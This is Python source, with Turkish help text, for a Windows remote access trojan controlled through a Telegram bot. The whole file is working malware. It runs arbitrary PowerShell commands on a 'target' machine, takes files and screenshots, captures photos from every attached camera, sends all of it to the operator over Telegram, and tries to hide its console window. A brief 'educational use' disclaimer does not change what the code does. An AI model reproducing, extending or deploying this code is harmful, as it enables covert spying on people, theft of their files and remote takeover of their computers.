import sys
import telebot
import subprocess
import os
import cv2
import win32com.client
import atexit
import ctypes
import pyautogui
import winshell
API_TOKEN = 'API-KEY'
bot = telebot.TeleBot(API_TOKEN)
@bot.message_handler(commands=['start'])
def send_welcome(message):
bot.reply_to(message, "Eğer hedef üzerinde dosya çalıştırılmışsa yazdığınız komutlara cevap alırsınız. \n \n 1- /start => bu mesajı gösterir \n 2- /dir => dizin bilgisini alır \n 3- /ip => ipconfig komutunu çalıştırır \n 4- /powershell {powershell komutu} => girdiğiniz powershell komutunu hedef sistem üzerinde çalıştırır \n 5- /getfile {path} => belirtilen yoldaki dosyayı alır \n 6- /screenshot => ekran görüntüsü alır \n 7- /message {mesaj içeriği} => hedefin ekranında mesaj kutucuğu çıkartır \n 8- /takephoto => bilgisayarın tüm kameralarına erişip hepsinden fotoğraf çeker. \n \n BİLGİLENDİRME \n Bu araç eğitim faaliyetleri için yapılmıştır. Kullanımı kişinin kendi sorumluluğundadır. Aracı kullanmaya devam ediyorsanız yapılan faaliyetlerden aracı kullanan kişinin sorumlu olduğunu kabul ettiğiniz varsayılır. \n \n ")
@bot.message_handler(commands=['sendmessage'])
def alert(message):
try:
SendedMessage = message.text.split(' ', 1)[1]
pyautogui.alert(SendedMessage)
bot.reply_to(message, "Mesaj gönderildi...")
except Exception as e:
bot.reply_to(message, f"Hata: {str(e)}")
@bot.message_handler(commands=['screenshot'])
def scrshot(message):
try:
size = pyautogui.size()
screenShot = pyautogui.screenshot()
screenShot.save('screenshot.png')
file_path = 'screenshot.png'
if os.path.exists(file_path):
with open(file_path, 'rb') as file:
bot.send_photo(message.chat.id, file)
bot.reply_to(message, "Ekran boyutu: " + str(size) + "\n Ekran görüntüsü dosya adı: " + str('screenshot.png'))
os.remove('screenshot.png')
else:
bot.reply_to(message, "Belirtilen dosya bulunamadı.")
except Exception as e:
bot.reply_to(message, f"Hata: {str(e)}")
@bot.message_handler(commands=['getfile'])
def send_file(message):
try:
file_path = message.text.split(' ', 1)[1]
if os.path.exists(file_path):
with open(file_path, 'rb') as file:
bot.send_document(message.chat.id, file)
else:
bot.reply_to(message, "Belirtilen dosya bulunamadı.")
except Exception as e:
bot.reply_to(message, f"Hata: {str(e)}")
@bot.message_handler(commands=['ip'])
def send_ip(message):
try:
ip_address_bytes = subprocess.check_output(['ipconfig'], universal_newlines=True, encoding='cp437')
ip_address = ip_address_bytes
bot.reply_to(message, f"{ip_address}")
except Exception as e:
bot.reply_to(message, f"IP adresi alınamadı: {str(e)}")
@bot.message_handler(commands=['powershell'])
def run_powershell_command(message):
try:
command = message.text.split(' ', 1)[1]
output = subprocess.check_output(['powershell', command], universal_newlines=True, shell=True, encoding='cp437')
bot.reply_to(message, f"PowerShell çıktısı:\n{output}")
except Exception as e:
bot.reply_to(message, f"Hata: {str(e)}")
@bot.message_handler(commands=['takephoto'])
def take_photo(message):
try:
cameras = []
for i in range(4):
cap = cv2.VideoCapture(i)
if cap.isOpened():
cameras.append(cap)
else:
break
for cap in cameras:
ret, frame = cap.read()
if ret:
cv2.imwrite(f"temp_photo_{cameras.index(cap)}.jpg", frame)
with open(f"temp_photo_{cameras.index(cap)}.jpg", "rb") as photo:
bot.send_photo(message.chat.id, photo)
os.remove(f"temp_photo_{cameras.index(cap)}.jpg")
for cap in cameras:
cap.release()
except Exception as e:
bot.reply_to(message, f"Hata: {str(e)}")
@bot.message_handler(commands=['dir'])
def send_dir(message):
try:
dir_command = 'C:\\Windows\\System32\\cmd.exe /c dir'
directory_listing = subprocess.check_output(dir_command, universal_newlines=True, shell=True, encoding='cp437')
bot.reply_to(message, f"{directory_listing}")
except Exception as e:
bot.reply_to(message, f"Dizin bilgisi alınamadı: {str(e)}")
def run_bot():
try:
bot.polling()
kernel32 = ctypes.WinDLL('kernel32')
user32 = ctypes.WinDLL('user32')
SW_HIDE = 0
hWnd = kernel32.GetConsoleWindow()
user32.ShowWindow(hWnd, SW_HIDE)
except Exception as e:
print(f"Bot çalıştırılırken bir hata oluştu: {str(e)}")
if __name__ == "__main__":
run_bot()